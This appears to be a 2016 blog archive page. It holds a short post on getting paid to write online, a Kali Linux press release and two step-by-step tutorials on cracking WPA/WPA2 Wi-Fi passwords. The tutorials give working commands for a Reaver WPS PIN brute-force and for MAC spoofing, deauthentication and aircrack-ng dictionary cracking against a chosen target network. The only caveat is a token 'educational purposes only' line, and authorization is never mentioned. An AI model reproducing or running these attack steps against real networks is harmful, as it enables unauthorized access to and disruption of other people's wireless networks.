Showing posts with label usa. Show all posts
Showing posts with label usa. Show all posts

Friday, 6 May 2016

5 Best Ways To Get Paid To Write Online 2016

If you are good at writing or if you can express your ideas well then you can definitely get paid to write online. It is not necessary that you should be professional writer or experienced columnist. Even you do not require writing lengthy and extensive story writing when you are writing for online websites. You can make money writing articles, blogs, product reviews etc.get-paid-writing-online
Now let us see in detail how to get paid to write online:
On World Wide Web, there are several websites who want to hire you as a writer depending on their business needs. The most popular 5 methods that you can get paid to write online are as follows:

1) Make money writing articles online

Lot of websites requires news articles to enrich the content of their website to attract more and more users to get updated with the industry specific updates. Such websites owners prefer to hire freelance writers instead of full time writers who are paid on number of articles contributed by the freelance writers. This way you can make money writing part time or full time for either single or multiple websites.

2) Make money writing advertisement

Affiliate program is another important ways to get paid for writing advertisement for product that you have affiliated. You need to advertise on free advertising directory that reside on web. You can even use pay per click advertising network like Google AdWord. This will increase traffic to your affiliated product website and help to increase purchase and thus make you earn commission for advertising.

3) Make money blogging

Blogging is again different style of writing where you can post your ideas on daily basis. Blogging helps you to make money in lot of ways. You can sign up account with Google AdSense and be the part of advertising network and make money every time sightseer read your blog or click the advertisement. You can even use free blog platform like Blogger.com or create your own blog website with WordPress.

4) Make money writing articles to promote website

As said before, lot of website owners would like to promote their website with rich articles and contents for which they prefer to hire freelance writers. They publish the need of freelance writers on various free job directories. You can register with such free job directory and write on lot of writing projects. Each time you write an article you will get paid for it.

5) Make money writing reviews

Get paid to write reviews are again good way to make money. You can earn up to $300 per review if your website is having high traffic. You need to create your own blog platform where you can write product reviews.

Wednesday, 27 April 2016

How to Crack WPA2 WiFi Password Using Reaver (99%) 2016

REAVER IS THE WAY TO GO! ðŸ™‚

Today I am going to teach you how to easily hack WPA/WPA2-PSK enabled networks using Reaver. The targeted router should support WPS (WiFi Protected Setup) which is supported by most routers nowadays. WPS is an optional device configuration protocol for wireless access points which makes it really easy to connect.
WPS exists in most routers for easy setup process through the WPS pin, which is hard-coded into the wireless access point. Reaver takes the advantage of a vulnerability in WPS. Thanks to Craig Heffner for releasing an open-source version of this tool named Reaver that exploits the vulnerability. In simple terms, Reaver tries to bruteforce the pin; which will reveal the WPA or WPA2 password after enough time.
 NOTE: This tutorial is for Educational Purposes Only!
What You’ll Need
You do not have to be a expert at Linux or at using a computer. The simple command-line (console ) will do it all. You may need a fair bit of time for this process and maybe also some luck. The brute force may take from 2 hours to more than 10 hours. There are various ways to set up Reaver, but here are the requirements for this guide.
  • Backtrack OS. Backtrack is a bootable Linux distribution with lots of pen-testing tools. You can use various other Linux distribution but I prefer Backtrack. If you don`t know how to install Backtrack then please check this link first.
  • Computer and wireless network card. I cannot guarantee this will work with all the internal wireless card. I recommend a external wireless card.
  • Patience. The process is simple but brute forcing the PIN takes time. So you have to be patient. Kicking the computer won’t help.
Let’s Get Started
Have a Backtrack OS ready for action.
UPDATE: Use Kali Linux instead of Backtrack. See Backtrack is dead – Long Live Kali Linux
Step 1: Boot into BackTrack
You can use any method to boot into Backtrack eg. from live CD, VMware, dual boot, etc. Boot it first into the GUI mode and open up a new console (command line) which is in the taskbar. Then boot into backtrack. During the boot process, BackTrack will prompt you to to choose the boot options. Select “BackTrack Text – Default Boot Text Mode” and press Enter.
After some time Backtrack will take you into a command line prompt where you should type startx and press Enter. BackTrack will boot will into Graphical User Interface (GUI) mode.
Step 2: Install Reaver (Skip this step if you are using BackTrack 5)
Reaver should be already installed in the Backtrack 5 but if you are using an older version of Backtrack or any other Linux distribution, you can install Reaver by using the steps below.
  1. First Connect your BackTrack to the internet. For WiFi connection go to Application > Internet > WICD Network Manager.
  2. Select your network and click connect and input your password if necessary, click OK and click CONNECT the second time.
Now that you are connected to internet, it’s time to install Reaver. Click the terminal icon in the menu bar. And at the console type the following:
apt-get update
apt-get install reaver
Now if everything worked fine you will get a freshly installed Reaver tool. If you are testing it in your own system, please go to WICD Network Manager and Disconnect yourself first!
Step 3 : Gather Information
Before launching the Reaver attack, you need to know your target wireless network name or BSSID. This is the series of unique letters and number of a particular router, and you will need its channel number too. To find this, make your wireless card go into monitor mode, and gather the required information from the access points. Let’s go.
First lets find your wireless card. Inside terminal or console, type:
airmon-ng
Press Enter and you should see a list of interface names of different devices. There should be a wireless device in that list connected to BackTrack. Probably it may be WLAN0 or WLAN1.
crack WPA2 WiFi password using reaver
Note: To connect your wireless network card into WMware, firstly, connect it to the USB. You will see a small USB icon that looks like the figure in the top right of VMware. Right-click on the icon and click connect. The USB sign will turn green and start to glow.
crack WPA2 WiFi password using reaver
Enable monitor mode. Assuming your wireless card interface name is WLAN0, type this command in that same console.
airmon-ng start wlan0
This code will create a new monitor mode interface mon0 as in the screenshot below. Keep note of the code.
crack WPA2 WiFi password using reaver
Search the BSSID of the Access Point(router) you want to crack. There are few ways to search for the Access Point BSSID, but I prefer to use the inbuilt Reaver search method which shows the list of WPS-vulnerable BSSIDs only.
In the console, type this following command and press enter:
wash -i mon0
You will see the list of wireless networks that support WPS and are vulnerable to Reaver as seen in the screenshot below. After few minutes you can stop the scan by pressing Ctrl+C.
crack WPA2 WiFi password using reaver
Step 4: Let’s Start Cracking
I suggest you to try to crack the ones which have WPS lock disabled or say “NO” in WPS Locked column. It may also work if it says YES but I am not sure of that. For that, copy the BSSID of the target AP and also keep note of its channel. In the console, type the following then Enter:
reaver -i monitormode -c channel -b targetbssid -vv
In my case the monitor mode will be mon0 channel 1, targetbssid would be C8:3A:35:54:88:81
-vv is written to show the current statistic of the attack as a percentage completed, currently brute forcing PIN and so on; so we will type the following and enter:
reaver -i mon0 -c 1 -b C8:3A:35:54:88:81 -vv
Press Enter and you should see the attack process as in the screenshot below.
Please note that you will not get “Restore previous session…”  at this point, because I already tried to crack it,  and it’s prompting me to resume from that paused point.
Your progress will also be saved if you press Ctrl+C. It will then prompt you in the same way, if you again hit the command, and you can resume it from there.
crack WPA2 WiFi password using reaver
Now just wait or have some coffee and let Reaver do its magic. It might take from 2 hours to 10 hours or more. There are 8 numeric digits of WPS, but the WPS authentication protocol cuts the pin in half and validates each half separately. Since the last digit of pin is a cheksum value, which can be calculated on the basis of previous value, there are 10^4=10,000 possible values for first half and then 10^3=1000 values for the last pin. So the WPS pin code is one of 11,000 possible pin codes. Some APs can check the WPS pin at the rate of 1 pin per second. Some take more so it depends upon the AP, and also the network connection.
When the PIN is successfully brute-forced, Reaver will show you the WPS PIN and the plain password of the AP like in the below screenshot.
crack WPA2 WiFi password using reaver
I recommend you keep note of the WPS pin, so that if the password is changed again you can hack that in few seconds the next time by using the following process.
reaver -i (monitor interface) -b (BSSID) -c (channel) --pin=(8 digit pin) -vv
Example:
reaver -i mon0 -b 11:22:33:44:55:66 -c 1 --pin=12345678 -vv
So now the error part… as you might get a bunch of errors depending upon your conditions. You might get some timeout but that’s normal. If you are getting other errors, see the below Error Section.
Error Section:
  • If 10 consecutive unexpected WPS errors are encountered, a warning message will be shown. This may be a sign that the AP is rate limiting pin attempts. A waiting command can be issued whenever these warning messages appear. Use the following command:
reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360
  • The default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second):
reaver -i mon0 -b 00:01:02:03:04:05 -t 3
  • The default delay period between pin attempts is 1 second. This value can be increased or decreased to any value. Please note that 0 means no delay:
reaver -i mon0 -b 00:01:02:03:04:05 -d 0
Here ends the tutorial on how to crack wireless network easily using Reaver. Good Luck!
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Backtrack is dead – long live Kali Linux ! 2016

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This blog was posted on the Offensive Security site as a Press Release. Offensive Security decided to not release yet another version of Backtrack, but to rebuild from scratch. So now we’ll use Kali Linux instead.

Black Hat Europe, Amsterdam – March 13 – Offensive Security today announced the availability of Kali Linux, the evolution of its popular BackTrack Linux, a free security auditing operating system and toolkit. Showcased at Black Hat Europe in Amsterdam, Kali Linux incorporates more than 300 penetration testing and security auditing programs with a Linux operating system, delivering an all-in-one solution that enables IT administrators and security professionals to test the effectiveness of risk mitigation strategies.
“For IT professionals, an experiment is worth a thousand theories. Applied to security, it means that simulating attacks to assess the defenses protecting your organization is the only sure way to understand their effectiveness and the impact of an attack,” said Mati Aharoni, Lead Trainer and Developer, Offensive Security. “That’s why we created Kali Linux; we’ve developed the most advanced penetration testing and security auditing toolkit available to help IT administrators and security professionals put themselves in the shoes of potential attackers.”
The new Kali Linux offers a smoother, easier penetration testing experience, making it more accessible to IT generalists as well as security specialists. The new infrastructure incorporates Debian development standards to provide a more familiar environment for IT administrators. The result is a more robust solution that can be updated more easily. Users can also customize the operating system to tailor it to their needs and preferences.
All the programs packaged with the operating system were evaluated for suitability and effectiveness before being included. They include Metasploit for network penetration testing, Nmap for port and vulnerability scanning, Wireshark for monitoring network traffic, and Aircrack-ng for testing the security of wireless networks.
“When it comes to security, the best defense is offense; you need to test the effectiveness of your own security practices before a real intruder does it for you,” said HD Moore, Chief Architect for Metasploit at Rapid7. “We built Metasploit to level the playing field for defenders; arming them with the same tools the attackers have. Offensive Security takes this even further, bringing hundreds of such tools together in Kali Linux to streamline security auditing.”
Additionally, Kali Linux can now run on a wide variety of hardware and is compatible with numerous wireless and USB devices. It also introduced support for ARM devices – typically miniature, battery-powered computers – which are becoming more prevalent and inexpensive. More information on which devices are supported, as well as other documentation, is available on the Kali Linux documentation site.

PRICING AND AVAILABILITY

Like its predecessor, Kali Linux is completely free and always will be. Offensive Security is committed to supporting the open source community with the ongoing development of Kali Linux. The development tree and all sources are available for those who wish to tweak and rebuild packages. Kali Linux is available immediately for download fromhttp://www.kali.org/downloads/.

ABOUT OFFENSIVE SECURITY

Founded in 2007, Offensive Security was born out of the belief that the only way to achieve sound defensive security is through an offensive approach. The team is made up of security professionals with extensive experience of attacking systems to see how they respond. They share this information through trainingsfree tools and publications. With the motto “Try Harder,” the Company’s trainings and certifications are well-respected and considered amongst the most rigorous available, creating a model adopted across the industry. In addition, theExploit DatabaseMetasploit Unleashed and BackTrack Linux community projects are highly-regarded and used by security teams in governmental and commercial organizations across the world. For more information about Offensive Security, please visit www.offensive-security.com.

How do I hack WPA2 Wi-Fi password using Backtrack 2016 ?

Backtrack is now Kali Linux download it when you get some free time.

Pre-Requisites:
  1. Kali / back track Linux which will by default have all the tools required to dow what you want.
  2. A Virtual Machine or a Laptop you can use to boot the BT or Kali
  3. A compatible network card, The network card should support packet injection if you want to do it fast else you will have to wait some time for someone disconnect and connect back to the access point.

Important Phrases To Know:


MAC Address(Media Access Control Address) is a unique  identifier assigned to network interfaces for communications on the  physical network segment.

WAP(Wireless Access Point) is a device that allows wireless devices to connect to a wired network using Wi-Fi

BSSID(Basic Service Set Identification) is the MAC address of the WAP

ESSID(Extended Service Set Identification) is the display name of the wireless network

WPA/WPA2(Wi-Fi Protected Access / Wi-Fi Protected Access  II) are two security protocols and security certification programs  developed by the Wi-Fi Alliance to secure wireless computer networks.

PSK(Pre-Shared Key) is the term for the password defined in WPA/WPA2 encrypted networks.


STEP 1: Changing Your MAC Address :
  1. In Kali/BT open the terminal.
  2. command : ifconfig
  3. This should list all network adapters on your system including your wireless one which should be named something like: Wlanx { wlan0, wlan1 ....}
  4. Turn off your network card using the command : ifconfig wlan0 down
    Note: change wlan0 to what ever it said in previous command.
  5. command : macchanger -m 00:11:22:33:44:55
    This will change your MAC address of your device temporarily
  6. Turn the device back on : ifconfig wlan0 up

STEP 2: Create a virtual monitoring inteterface.
In order to listen to the signals that wlan0 is handling we will create a virtual interface that will help us to monitor and handle what wlan0 is sending and receiving.

  1. Command : airmon-ng start wlan0
  2. This will create a new monitor interface called mon0

STEP 3 : Start the attack by monitoring the wireless traffic 

  1. Command : airodump-ng mon0
    this will list down all active AP and their BSSID and other details. Also below the list you will see the list f computer stations connected to any of these APs.
  2. Note down the BSSID and channel it is using (CH in the output) of the AP you want to hit
  3. Hit Ctrl+c to end the monitoring.


STEP 4: Lock onto the needed AP. 
This will target the communication from just the accespoint you want and start writing don't collected information into a file you need to hack.

What we are hoping to capture is the 4way handshake data that the systems use to authenticate, this data can then be used to crack the password used.

  1. Command : airodump-ng --bssid <bssid of AP> -c 4 -w dumpfilename mon0
    The underlined parts need to be changed as per the data you have. dumpfilename can be replaced with anyhting.
  2. This will start monitoring the Accesspoint and showing you the stations connected to it too. You need to write down the BSSID of any one of the stations so that you can trick it to disconnect and reconnect.

STEP 5 :  Capturing Authentication Packets
Note: This will only work if your network card is packet injection compatible else you will have to wait till the the person disconnect and reconnects himself.

  1. Open new terminal and give command :
    aireplay-ng -0 30 -a <BSSID of Station Connected> mon0
    This will send 30 disconnect requests to the computer causing it to try and reconnect to the accesspoint.
  2. If it shows some error or does not seem to work it is probably the issue with the network card and you will need to wait till the user reconnects by himself.
  3. Once the reconnection happens you can see it in the Airmon terminal which is monitoring the packets. A alert should be shown ton the top right corner.
    Hit ctrl+c and exit it. Time to crack the password.

STEP 6: Cracking the password
  1. You need a password list file which can be downloaded from the internet. Just search for "wordlist" or  "password list" you can get files with millions of words and some as big as 1GB to 10Gb. More the words in it the better.
  2. Get and extract the word list file to your home folder.
  3. Run the command :
    aircrack-ng -w wordlist.lst -b <AP BSSID>  dumpfilename*.cap
  4. Replace the underlined with the the right details.

STEP 7: Wait

  1. Wait some time as your computer does the dirty work of cracking the password. You should have the password on your screen soon.


Happy exploits.